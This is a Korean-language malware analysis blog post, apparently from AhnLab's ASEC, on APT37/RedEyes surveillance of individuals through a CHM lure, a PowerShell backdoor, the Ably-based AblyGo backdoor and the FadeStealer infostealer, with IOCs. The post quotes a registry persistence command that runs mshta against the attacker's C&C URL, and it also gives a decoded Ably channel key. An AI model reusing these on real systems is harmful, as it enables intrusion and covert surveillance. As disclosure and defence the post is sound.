개인을 도청하는 RedEyes 그룹 (APT37)

1.개요

RedEyes(also known as APT37, ScarCruft, Reaper) 그룹은 국가 지원을 받는 APT 조직이며 주로 북한 이탈 주민, 인권 운동가, 대학 교수 등의 개인을 대상으로 공격을 수행한다. 이들의 임무는 특정인들의 일상을 감시하는 것으로 알려져 있다. ASEC(AhnLab Security Emergengy response Center)은 2023년 5월 RedEyes 그룹이 Ably 플랫폼을 악용한 Golang 백도어를 유포 및 마이크 도청 기능을 포함한 이전에 알려지지 않은 새로운 정보 유출 악성코드 사용 정황을 확인하였다.
* ABLY[1]는 실시간 데이터 전송 및 메시지를 위한 플랫폼이며 Pub/Sub 메시징, 푸시 알림, 실시간 쿼리, 상태 동기화를 수행할 수 있다.

공격자는 Ably 서비스를 이용하는 Golang 백도어로 명령을 전달하였으며, 명령 통신에 필요한 API 키 값을 Github 리포지토리에 저장하였다. 해당 API 키 값은 공격자의 채널과 통신을 위해 필요한 값이며 키 값을 알고 있으면 누구나 구독이 가능하다. 따라서 분석 당시 공격자가 사용한 일부 명령을 확인할 수 있었다.

ASEC은 이번 블로그를 통해 2023년 5월 RedEyes 그룹이 개인을 감시하기 위해 사용한 초기 침투 기법부터 권한 상승, 명령 제어 및 유출까지 각 공격 단계별로 공격자가 사용한 TTPs(Tactics, Techniques, and Procedures)를 공유하고자 한다.

[그림 1] RedEyes 공격 흐름

2.분석

2.1. 초기 침투 (Initial Access)

공격자는 CHM(Compiled HTML Help File) 파일을 이용하여 초기 침투를 수행하였다. 지난 3월 “패스워드 파일로 위장하여 유포 중인 악성코드” 게시글에서 언급한 사례와[2] 같이 암호 걸린 정상 문서와 비밀번호 파일로 위장한 CHM 악성코드를 함께 첨부하여 스피어 피싱 이메일로 공격 대상에 접근한 것으로 추정된다. 즉, 공격자는 암호 걸린 정상 문서와 CHM 악성코드를 함께 압축하여 마치 암호 걸린 문서를 열람하기 위해 CHM 파일 실행이 필요한 것처럼 악성코드 실행을 유도하였다.

[그림 2] 미끼 문서와 악성 CHM 파일

사용자가 CHM 파일 실행하면 [그림 3]과 같이 암호 정보를 확인할 수 있지만, 동시에 [그림 4] CHM 내부 스크립트 코드에 의해 MSHTA.exe가 실행되어 공격자 C&C 서버로부터 악성 스크립트가 함께 실행된다.

[그림 3] CHM 파일 내용
[그림 4] CHM 내부 스크립트 코드

분석 당시 확보된 악성 스크립트는 자동 실행 레지스트리 키를 이용한 지속성 유지와 백도어 기능을 갖는 파워쉘 악성코드로 확인되었다.

[그림 5] 공격자 서버로 부터 다운로드된 파워쉘 스크립트(Backdoor)

지난 2023년 2월 스테가노그래피를 이용한 HWP 악성코드 게시글[3]에서 당시 확인된 파워쉘 악성코드는 CMD.exe를 이용한 공격자 명령 수행 및 결과 전송, 지속성을 위한 레지스트리 RUN 키 등록을 하는 비교적 단순한 기능을 하는 악성코드였다. 그러나 이번에 확보한 파워쉘 악성코드는 지속성을 위한 레지스트리 키 등록 기능은 동일하나, CMD.exe를 사용하지 않고 C&C 서버의 명령에 따라 다른 행위를 수행하는 파워쉘 백도어 악성코드가 확인되었다. 기능은 아래 [표 1]과 같다.

명령기능
fileinfo특정 경로의 파일 목록 및 정보(이름, 크기, 수정한 시각)를 CSV 형태로 저장한 후 C&C 서버에 이를 전송 및 삭제 기능 수행
dir특정 경로의 폴더를 압축하여 이를 C&C 서버에 전송하고 압축 파일 삭제 기능 수행
file특정 파일 C&C 서버에 전송 (업로드)
down특정 경로에 파일 다운로드
regedit레지스트리 편집 기능
task10분 간격으로 반복 실행하는 작업 스케줄 등록 기능
zip특정 경로 압축 파일 해제 기능
rename특정 파일 이름 변경 기능
del특정 경로 파일 삭제 기능
[표 1] 파워쉘 백도어 기능

2.2. 지속성 (Persistence)

MSHTA.exe에 의해 실행된 파워쉘 악성 스크립트는 아래 명령을 통해 자동 실행 레지스트리 키를 등록하여 시스템 재 부팅시에도 공격자 C&C 서버로부터 악성 스크립트가 실행되도록 한다.

  • New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Name kcJuWlrQO -Value ‘c:\windows\system32\cmd.exe /c PowerShell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass ping -n 1 -w 569782 2.2.2.2 || mshta hxxp://172.93.181[.]249/control/html/1.html’ -PropertyType String -Force;

2.3. 명령 제어 (Command and Control)

공격자는 Go 언어 기반의 Ably 플랫폼 서비스를 이용하는 백도어 악성코드를 통해 권한 상승, 정보 유출 악성코드 유포 등 이후 공격 단계를 수행하였다. Ably 플랫폼의 특징은 실시간으로 데이터를 전송할 수 있고, 채널의 인증 키를 알 경우 누구나 채널에 접속하여 메시지를 받아볼 수 있다. ASEC은 분석 당시 공격자 채널의 인증 키를 확보하여 공격 대상에게 전달하는 일부 명령을 확인할 수 있었다.

명령 전달 시각실행 명령
2023-05-09 10:16:16forfiles /p c:\programdata
2023-05-09 10:49:47ren c:\programdata\wallpaper-river.jpg wallpaper-river.exe
2023-05-09 10:49:53forfiles /p c:\programdata
2023-05-09 10:50:09wmic OS get Caption,CSDVersion,OSArchitecture,Version
2023-05-09 10:50:35c:\programdata\wallpaper-river.exe
[표 2] AblyGo 백도어에 의해 실행된 명령어

RedEyes 그룹이 명령 전달을 위해 Ably를 사용하는 것은 KISA[4], Sekoia[5] 보고서를 통해 알려진 바 있다. 당시 확인된 Ably 기반의 Go 백도어는 [그림 6]과 같이 바이너리 내부에 인증 키가 존재하였으나, 이번에 확보한 백도어는 인증 키를 Github 저장소에 저장하여 동적으로 인증 키를 받아 채널 통신을 수행하였다. 이는 Ably 채널 인증키를 수시로 변경하여 공격 대상 이외의 제3자가 채널 메시지를 구독하기 어렵게 하기 위한 의도로 보인다.

[그림 6] 하드코딩된 인증 키 정보 (과거 AblyGo 백도어)
[그림 7] Github를 이용한 인증 키 조회 기능 (AblyGo 백도어 변형)
(Github 주소 : https://raw.githubusercontent.com/thanks023/hello/main/ReadMe.txt)

Ably 채널 인증키를 받아오기 위해 Go 백도어는 바이너리 내부에 존재하는 Github 주소에 접속하여 “<>BASE64 인코딩된 채널 인증키” 형식으로 되어있는 데이터를 받아온다. 이와 같은 방식은 2023년 3월 zscaler에서 공개한 “The Unintentional Leak: A glimpse into the attack vectors of APT37”[6]의 [Figure 4]에서도 확인할 수 있다. 해당 게시글에 따르면, 공격자는 BASE64로 인코딩된 문자열을 자주 커밋하였다고 한다. [Figure 4]에 명시된 문자열을 BASE64 복호화한 결과, Ably 인증 키 값으로 확인되었다.

[Github 커밋 문자열]
<>S3dITXZ3LmJvaUMzdzpqR2JmMDd3VW9iN3RGanoxM1dxRFE4WJRsVFBDbVBQdldzb3hZYjFxc21r
[Github 문자열 복호화]
<>KwHMvw.boiC3w:jGbf07wUob7tFjz13WqDQ8X.lTPCmPPvWsoxYb1qsmk (Ably 인증 키)

AblyGo 백도어가 피해 PC에서 실행되면 Github에서 “<>인증 키”를 받아와 [그림 7]의 코드 부분과 같이 “<>”를 파싱하여 뒷 문자열을 BASE64 디코딩한다. 그리고 디코딩한 인증 키값을 통해 공격자의 Ably 채널에 접속하여 “UP”, “DOWN” 이라는 메시지 이름을 송/수신한다. 송/수신 데이터 형식과 기능은 아래 [표 3]과 같다.

메시지 이름 (기능)데이터 형식
UP (HELLO 전송 & CMD 명령 결과 업로드){“Id”:”컴퓨터 이름”,”Textdata”:”SEVMTw==”}
DOWN (CMD 명령 전달){“Id”:”컴퓨터 이름”,”Textdata”:”SEVMTw==”}
[표 3] AblyGo 백도어의 메시지 송/수신 형식 및 기능

피해 PC에서 실행된 AblyGo는 약 2~5분 간격으로 현재 PC가 공격자 Ably 채널에 연결되었음을 나타내는 “HELLO” 데이터를 BASE64로 인코딩하여 전송한다. (메시지 이름 : UP)

그리고 공격자는 Ably 채널을 모니터링하고 있다가 피해 PC ID(컴퓨터 이름)를 식별하고 BASE64로 명령을 인코딩하여 다시 전달한다. (메시지 이름 : DOWN)

C&C 서버에서 전달 받은 명령 수행은 모두 CMD.exe를 통해 이루어지며 CMD 명령 결과는 다시 “UP” 메시지를 통해 채널로 전송한다. 즉, UP은 공격자 입장에서 피해 PC를 식별하고 명령에 대한 결과 값을 받는 메시지이고 DOWN은 명령을 내릴 때 사용하는 메시지이다.

2.4. 권한 상승 (Privilege Escalation)

명령 제어 이후 공격자는 알려진 권한 상승 기법인 T1546.015 (Event Triggered Execution: Component Object Model Hijacking)을 사용하여 추가 악성코드를 실행하였다. 아래 [그림 8] 레지스트리 키에 등록된 악성코드는 확보하지 못했다.

[그림 8] 권한 상승 기법 (T1546.015)

2.5. 유출 (Exfiltration)

공격자는 AblyGo 백도어와 MSHTA, 파워쉘을 이용하여 최종적으로 정보 유출 악성코드를 파일리스 형태로 실행하였다.

[그림 9] FadeStealer 실행 흐름
[그림 10] 안랩 EDR(Endpoint Detection Response) 탐지 화면 (프로세스 트리 구조)

실행된 정보 유출 악성코드는 PC 화면 스크린 샷 캡쳐, 이동식 미디어 장치 & 스마트폰 데이터 유출, 키로깅 및 도청 기능까지 포함되어 있었다.

[그림 11] FadeStealer에 포함된 도청 기능

ASEC은 새롭게 확인된 이 악성코드에 대해 유출 데이터가 저장되는 폴더 이름의 특징을 기반으로 FadeStealer(Fade as a stealer)로 명명하였다. FadeStealer는 %temp% 경로에 유출 데이터 별로 각각 폴더를 생성하여 저장하였다. 그리고 파일에 내장된 RAR 압축 유틸리티를 통해 비밀번호를 사용하여 30분 간격으로 피해 PC에서 유출한 데이터를 압축한 뒤 공격자 C&C 서버에 파일을 전송하였다. 이때 압축 파일의 크기가 1GB를 넘을 경우 볼륨을 최대 1GB로 지정하여 분할 압축 기능을 통해 데이터를 유출하는 치밀함을 보였다.

폴더 경로유출 데이터
%temp%\VSTelems_Fade\NgenPdbc화면 캡쳐
%temp%\VSTelems_Fade\NgenPdbk키로깅
%temp%\VSTelems_Fade\NgenPdbm마이크 도청
%temp%\VSTelems_FadeIn스마트폰 장치 데이터 수집
%temp%\VSTelems_FadeOut이동식 미디어 장치
[표 5] 폴더 경로 및 유출 데이터
[그림 12] 안랩 EDR 탐지 화면 (RAR 압축 유틸리티를 이용한 정보 유출)
압축 옵션기능 설명
a압축 파일 추가
r압축 파일 복구
ep1이름에서 베이스 디렉터리 제외
m0압축 레벨 설정 (저장)
y모든 질문에 자동으로 yes 답하기
p NaeMhq[d]q압축 비밀번호 NaeMhq[d]q로 설정
v1g1기가 단위로 압축 볼륨 설정
[표 6] 압축 옵션
[그림 13] 공격자 서버에서 확인된 개인 정보 유출 데이터

3. 결론

RedEyes 그룹은 북한 이탈 주민, 인권 운동가, 대학 교수 등 특정 개인을 대상으로 공격을 수행한다. 주로 정보 유출이 목적이며 이번 공격 사례에서는 마이크 도청 기능이 포함된 정보 유출 악성코드가 확인되었다. 대한민국에서 개인의 무단 도청은 사생활 침해로 간주되며 관련 법령에 의해 엄격하게 규제되고 있다. 그럼에도 불구하고 공격자는 피해자가 PC로 하는 다양한 작업들을 모두 감시하고 도청까지 수행하였다.

이번 공격 사례의 전체적인 공격 흐름을 보면 스피어 피싱 메일을 통해 공격 대상에 접근하고 Ably 채널을 명령 제어 서버로 사용하는 등 공격자는 교묘하고 치밀하게 공격을 시도한다. 이러한 공격은 개인이 피해를 인지하는 것조차 어려울 수 있다. 따라서 ASEC은 RedEyes 그룹을 면밀히 추적하고 있으며 추가 피해가 발생하지 않도록 신속하게 대응하고 있다.

공격을 예방하기 위해서는 출처가 불분명한 이메일의 첨부 파일은 열지 않도록 주의해야 한다. 특히 최근 해당 조직은 CHM, LNK 확장자 기반의 악성코드를 초기 침투에 사용하고 있으므로 이메일 첨부 파일 내 파일을 실행할 때 확장자를 주의 깊게 봐야 한다. 확장자 옵션은 기본적으로 숨기기 옵션이 부여되어 있으므로 아래 [그림 14]를 참고하여 확장명 숨기기 체크를 해제하고 첨부 파일이 CHM, LNK일 경우 메일 출처를 반드시 확인한 뒤 실행해야 한다.

[그림 14] 알려진 파일 형식의 파일 확장명 숨기기 체크 해제

4. 참고문헌

[1] Ably
[2] Malware Distributed Disguised as a Password File
[3] HWP Malware Using the Steganography Technique: RedEyes (ScarCruft)
[4] TTPs $ ScarCruft Tracking Note – KISA
[5] Peeking at Reaper’s surveillance operations – sekoia
[6] The Unintentional Leak: A glimpse into the attack vectors of APT37 – zscaler

[IOC]
[MD5]
[CHM]
1352abf9de97a0faf8645547211c3be7

[Powershell Backdoor]
1c1136c12d0535f4b90e32aa36070682

[AblyGo 변형]
msedgeupdate.ini (3277e0232ed6715f2bae526686232e06)
msedgeupdate.ini (3c475d80f5f6272234da821cc418a6f7)

[Dll Sideloading – Loader]
mfc42u.dll (59804449f5670b4b9b3b13efdb296abb)

[FadeStealer]
DESKTOP.lNl (f44bf949abead4af0966436168610bcc)

[파일 탐지]
Trojan/Win.Goably.C5436296 (2023.06.03.00)
Trojan/Win.Goably.C5422375 (2023.05.09.02)
Trojan/Win.Loader.C5424444 (2023.05.09.02)
Data/BIN.RedEyes (2023.06.08.01)
Downloader/CHM.Generic (2023.06.02.03)
Downloader/PowerShell.Generic (2023.06.06.00)

[행위 탐지]
Injection/EDR.Event .M11124

[C&C]
[유출 데이터 저장 주소]
hxxp://172.93.181[.]249/control/data/

[AblyGo 백도어 업로드 경로]
hxxp://172.93.181[.]249/file/

[초기 침투 단계 이후 Powershell Backdoor 다운로드 주소]
hxxp://172.93.181[.]249/control/html/1.html

행위 정보 탐지 및 분석을 통한 엔드포인트 가시성을 제공하고 위협을 능동적으로 추적하는 AhnLab EDR에 대한 자세한 정보는 안랩닷컴에서 확인이 가능하다.

Categories:안랩 탐지

Tagged as:,,,

5 5 votes
별점 주기
Subscribe
Notify of
guest

2 댓글
Inline Feedbacks
View all comments
trackback

[…] 존재하는데 이는 기존에 게시된 <개인을 도청하는 RedEyes 그룹 (APT37)>[3]의 [표 1]과 유사한 기능을 […]